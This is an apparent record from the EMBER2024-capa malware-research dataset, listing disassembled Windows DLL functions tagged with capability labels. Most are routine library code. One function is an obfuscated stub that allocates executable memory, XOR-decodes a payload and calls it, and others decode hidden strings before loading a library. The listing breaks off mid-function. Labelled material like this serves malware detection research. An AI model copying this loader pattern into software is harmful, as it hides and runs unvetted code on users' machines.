joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d7b0fe2
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x17a0]
mov eax, 0x1820
call fcn.6d7b89f0
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x179c], eax
push ebx
push esi
mov esi, dword [ebp + 0x17a8]
push edi
mov edi, dword [ebp + 0x17ac]
xor ebx, ebx
push str.FORCED_FX_ROOT
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], ebx
mov byte [ebp - 0x64], bl
call fcn.6d7bb452
add esp, 0xc
cmp dword [ebp - 0x6c], ebx
je 0x6d7b105d
cmp eax, ebx
jne 0x6d7b105d
push str.2.0
push dword [ebp + 0x17b0]
push edi
call fcn.6d7c9aaf
push dword [ebp - 0x6c]
call fcn.6d7c9aaf
add esp, 0x10
jmp 0x6d7b11c1
cmp esi, ebx
jne 0x6d7b1070
mov dword [ebp - 0x74], 1
mov byte [ebp + 0x79c], bl
jmp 0x6d7b10b5
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x6d7b1075
sub eax, edx
lea eax, [esi + eax - 1]
mov cl, byte [eax]
cmp cl, 0x2b
jne 0x6d7b1092
mov dword [ebp - 0x74], 1
jmp 0x6d7b109e
cmp cl, 0x2a
jne 0x6d7b10a0
mov dword [ebp - 0x7c], 1
mov byte [eax], bl
push esi
lea eax, [ebp + 0x79c]
push 0x800
push eax
call fcn.6d7c9aaf
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
push 0x20019
push ebx
push 0x6d7e47b8
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d7b119e
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
mov dword [ebp - 0x70], ebx
push ebx
jmp 0x6d7b118a
push str.1.9.0
lea eax, [ebp + 0xf9c]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d7b1175
push dword [ebp - 0x74]
lea eax, [ebp + 0x79c]
push dword [ebp - 0x7c]
push eax
lea eax, [ebp + 0xf9c]
push eax
call fcn.6d7c9aaf
add esp, 0x10
test eax, eax
je 0x6d7b1175
lea esi, [ebp - 0x64]
lea eax, [ebp + 0xf9c]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x6d7b1154
cmp cl, bl
je 0x6d7b1150
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x6d7b1154
add eax, 2
add esi, 2
cmp cl, bl
jne 0x6d7b1134
xor eax, eax
jmp 0x6d7b1159
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jle 0x6d7b1175
lea eax, [ebp + 0xf9c]
push eax
lea eax, [ebp - 0x64]
push 0x800
push eax
call fcn.6d7c9aaf
add esp, 0xc
inc dword [ebp - 0x70]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x68]
mov dword [ebp - 0x78], 0x800
call edi
test eax, eax
je 0x6d7b10f5
mov eax, dword [ebp + 0x17b0]
lea ecx, [eax - 1]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push eax
push dword [ebp - 0x80]
call fcn.6d7c9aaf
add esp, 0x10
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x179c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x17a0
leave
ret
Function at 0x6d7b2421
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d7e4b38]
fld qword [0x6d7e4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d7e4b28]
fadd qword [0x6d7e4b20]
call fcn.6d7b8b70
neg eax
mov dword [ebp - 0x68], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d7e4aec
push eax
call fcn.6d7c9aaf
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d7b254b
push 0x6d7e4af4
jmp 0x6d7b254e
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d7c9aaf
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x7d8
leave
ret 0xc
Function at 0x6d7b3e7d
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d7e4b38]
fld qword [0x6d7e4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d7e4b28]
fadd qword [0x6d7e4b20]
call fcn.6d7b8b70
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d7e4c60
push eax
call fcn.6d7c9aaf
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d7b3fb7
push 0x6d7e4c68
jmp 0x6d7b3fba
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d7c9aaf
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x7d8
leave
ret 0x10
Function at 0x6d7b504b
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d7e4b38]
fld qword [0x6d7e4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d7e4b28]
fadd qword [0x6d7e4b20]
call fcn.6d7b8b70
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x7f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.6d7c9aaf
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x6d7b5192
push dword [ebp - 0x78]
jmp 0x6d7b5197
push 0x6d7e4dc0
push 0x20
push eax
call fcn.6d7c9aaf
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x7d8
leave
ret 0x14
Function at 0x6d7b61f6
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x80
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d7b6268
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d7b6268
push str.ia64
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x6d7b6268
xor esi, esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.6d7b886c
add ebp, 0x78
leave
ret

Function at 0x6d7b886c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d7f05c8]
jne 0x6d7b8876
repz ret
jmp fcn.6d7bfa4c

Function at 0x6d7c9aaf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x6d7c9abe
pop dword [ebp - 0x50]
mov eax, 0xdcbd91a3
sub eax, 0x6f40f6e5
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x44975
push 0
mov eax, 0x593c7601
add eax, 0x1441abff
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x54724ed5
sub ecx, 0x547202a4
mov ebx, eax
mov edx, 0x78f3eca0
sub edx, 0xb701ca0
add edx, dword [ebp - 0x50]
mov edi, 0xc6ee3e8e
add edi, 0x94013769
sub dword [ebp - 0x38], eax
mov esi, dword [edx]
sub dword [ebp - 0x14], ecx
xor esi, edi
add dword [ebp - 0x40], ecx
mov dword [ebx], esi
xor dword [ebp - 0x3c], 0x557eab1
add ebx, 4
add edx, 0x33155cc8
sub edx, 0x33155cc4
loop 0x6d7c9b1d
add eax, 0xe88f9e79
add eax, 0x1771851e
mov ebx, eax
add eax, 0xaf5459f1
sub eax, 0xaf5459ec
mov ecx, 0x6d7a0000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x6d7dee03
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d7f7248], 0
push esi
push edi
jne 0x6d7ded74
call fcn.6d7decce
test eax, eax
je 0x6d7dedb9
mov eax, dword [0x6d7f7248]
cmp eax, 1
jne 0x6d7ded95
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d7dedb9
jmp 0x6d7dedfb
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d7dedfb
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d7dedbd
xor eax, eax
jmp 0x6d7dedfb
mov eax, dword [esi]
push dword [0x6d7f7248]
call edi
mov edi, eax
test edi, edi
je 0x6d7deddf
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d7dedfb
lea edi, [esi + 0xff0]
push esi
push dword [0x6d7f7248]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d7dede5
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d7ded60
Function at 0x100018c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0xc]
call fcn.100015d0
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10001a62
mov edx, dword [ebp - 0xc]
mov ecx, eax
push 0
sub esp, 0xc
push 0x10002290
push 0x10002270
call fcn.100022f0
mov ebx, eax
add esp, 0x18
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x10001a57
mov edx, 0xa
mov dword [ebp - 0x18], 0x775c5357
mov dword [ebp - 0x1c], edx
xor ecx, ecx
mov dword [ebp - 0x14], 0x585e564f
mov dword [ebp - 0x10], 0x404c4c
nop
lea eax, [ecx + 0x36]
xor byte [ebp + ecx - 0x18], al
inc ecx
mov edx, dword [ebp - 0x1c]
cmp ecx, edx
jb 0x10001930
mov byte [ebp + edx - 0x18], 0
lea ecx, [ebp - 0x18]
mov esi, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
cmp dword [esi + 0x7c], 0
je 0x10001a44
mov esi, dword [esi + 0x78]
add esi, edx
cmp dword [esi + 0x18], 0
je 0x10001a44
cmp dword [esi + 0x14], 0
je 0x10001a44
mov eax, ecx
shr eax, 0x10
test eax, eax
jne 0x10001993
mov eax, dword [esi + 0x10]
movzx ecx, cx
cmp ecx, eax
jb 0x10001a44
sub ecx, eax
jmp 0x10001a32
cmp dword [ebx + 0x30], 0
jne 0x10001a0e
mov edi, dword [esi + 0x20]
xor ecx, ecx
mov ebx, dword [esi + 0x24]
add edi, edx
mov eax, dword [esi + 0x18]
add ebx, edx
mov edx, 8
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000ba88
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x30], ecx
test ecx, ecx
jne 0x100019cf
push 0xe
jmp 0x10001a46
mov eax, dword [esi + 0x18]
xor edx, edx
test eax, eax
je 0x100019f8
mov eax, dword [edi]
lea edi, [edi + 4]
add eax, dword [ebp - 0xc]
lea ebx, [ebx + 2]
mov dword [ecx], eax
lea ecx, [ecx + 8]
mov ax, word [ebx - 2]
inc edx
mov word [ecx - 4], ax
mov eax, dword [esi + 0x18]
cmp edx, eax
jb 0x100019d8
mov ebx, dword [ebp - 0x20]
push 0x100027a0
push 8
push eax
push dword [ebx + 0x30]
call fcn.1000baa0
add esp, 0x10
push 0x100027a0
push 8
push dword [esi + 0x18]
lea eax, [ebp - 8]
push dword [ebx + 0x30]
push eax
call fcn.1000bf8e
add esp, 0x14
test eax, eax
je 0x10001a44
movzx ecx, word [eax + 4]
mov edx, dword [ebp - 0xc]
cmp ecx, dword [esi + 0x14]
ja 0x10001a44
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x10001a4e
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
push 2
push 0x6f
call eax
add esp, 8
push dword [ebp - 0x24]
call fcn.1000b023
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005570
mov esp, ebp
pop ebp
ret
Function at 0x10001b40
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2fc
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2f8], eax
push esi
mov dword [esp + 4], 0xb
xor ecx, ecx
mov dword [esp + 8], 0x585d4365
mov dword [esp + 0xc], 0x13756e57
mov dword [esp + 0x10], 0x412c535a
nop dword [eax]
lea eax, [ecx + 0x36]
xor byte [esp + ecx + 8], al
inc ecx
mov eax, dword [esp + 4]
cmp ecx, eax
jb 0x10001b80
mov byte [esp + eax + 8], 0
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10001d16
movaps xmm0, xmmword [str.u_rdnSUXRIL]
xor ecx, ecx
mov dword [esp + 0x1c], 0x1b
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0x157a742b
mov dword [esp + 0x34], 0x63282222
mov dword [esp + 0x38], 0x513c232a
lea eax, [ecx + 0x36]
xor byte [esp + ecx + 0x20], al
inc ecx
mov eax, dword [esp + 0x1c]
cmp ecx, eax
jb 0x10001bd6
mov byte [esp + eax + 0x20], 0
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xec]
push 0x104
push eax
call fcn.10001050
add esp, 0xc
lea eax, [esp + 0xe8]
push 2
push eax
call fcn.1000af99
add esp, 8
test eax, eax
je 0x10001c87
push 0x104
lea eax, [esp + 0x1f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x10001c99
movaps xmm0, xmmword [0x10022ad0]
xor ecx, ecx
mov dword [esp + 4], 0x13
movups xmmword [esp + 8], xmm0
mov dword [esp + 0x18], 0x49242b22
lea eax, [ecx + 0x36]
xor byte [esp + ecx + 8], al
inc ecx
mov eax, dword [esp + 4]
cmp ecx, eax
jb 0x10001c50
mov byte [esp + eax + 8], 0
lea eax, [esp + 0x1f0]
push eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0xf0]
push 0x104
push eax
call fcn.10001050
add esp, 0x10
push 8
push 0
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call fcn.100018c0
lea ecx, [esp + 0x3c]
call fcn.100015d0
mov esi, eax
test esi, esi
je 0x10001d16
push 0
push 0x10001a80
push 0x10002270
push 0x10002270
push 0x10002270
lea eax, [esp + 0x54]
push 0x10002270
push eax
call fcn.10001ad0
add esp, 0x1c
lea eax, [esp + 0x40]
push 0
push 0x10002290
push eax
call fcn.10001b00
mov edx, dword [esp + 0x48]
lea eax, [esp + 0x4c]
add esp, 0xc
mov ecx, esi
push eax
sub esp, 0xc
push 0x10001ab0
push 0x10001a90
call fcn.100022f0
mov ecx, eax
call fcn.100027e0
push esi
call fcn.1000b023
add esp, 0x1c
mov ecx, dword [esp + 0x2fc]
pop esi
xor ecx, esp
call fcn.10005570
mov esp, ebp
pop ebp
ret
Function at 0x10004560
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10004570

Function at 0x100047f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10004800

Function at 0x10004b20
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x1001bc58]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x1001bc58]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x1001bc58]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x1001bc58]
mov eax, edx
pop ebp
ret

Function at 0x10008955
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1001a440
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1000d092
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x10008997
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10008af3
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1001a390
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x10025f48]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.1000d39d
mov ecx, dword [esi*4 + 0x10025f48]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x10008aec
cmp eax, dword [ecx + edi + 0x24]
jne 0x10008aec
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10008aec
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1000d39d
add esp, 0x14
test edx, edx
jl 0x10008aec
jg 0x10008a62
test eax, eax
jb 0x10008aec
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10008aec
jl 0x10008a7c
cmp dword [ebp - 0x1008], eax
ja 0x10008aec
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10008a9a
test ebx, ebx
je 0x10008ad3
cmp ecx, edi
jae 0x10008ad3
mov al, byte [ecx]
cmp al, 0xd
jne 0x10008ab4
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10008ac0
cmp byte [ecx + 1], 0xa
jne 0x10008ac0
inc ecx
jmp 0x10008ac0
movzx eax, al
movsx eax, byte [eax + 0x10025208]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10008a9a
cmp edx, ebx
jne 0x10008a9a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10008af1
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10005570
leave
ret
Function at 0x1000c509
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000c548
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000c548
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000c548
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000c548
cmp dword [ecx + 0x74], 0xe
jbe 0x1000c548
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000db0e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10025f48]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1000db4e
cmp byte [ebx], 0xa
jne 0x1000db4e
or byte [edi + eax + 0x28], 4
jmp 0x1000db53
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1000dc52
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1000dc35
inc eax
cmp dl, 0xd
je 0x1000db7f
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1000dba5
cmp eax, ecx
jae 0x1000dbb3
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1000db67
jmp 0x1000dc52
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000dc30
cmp dword [ebp - 0x10], 0
je 0x1000dc30
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10025f48]
test byte [eax + edi + 0x28], 0x48
je 0x1000dc0a
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1000dbf5
mov byte [esi], dl
jmp 0x1000dc06
mov byte [esi], 0xd
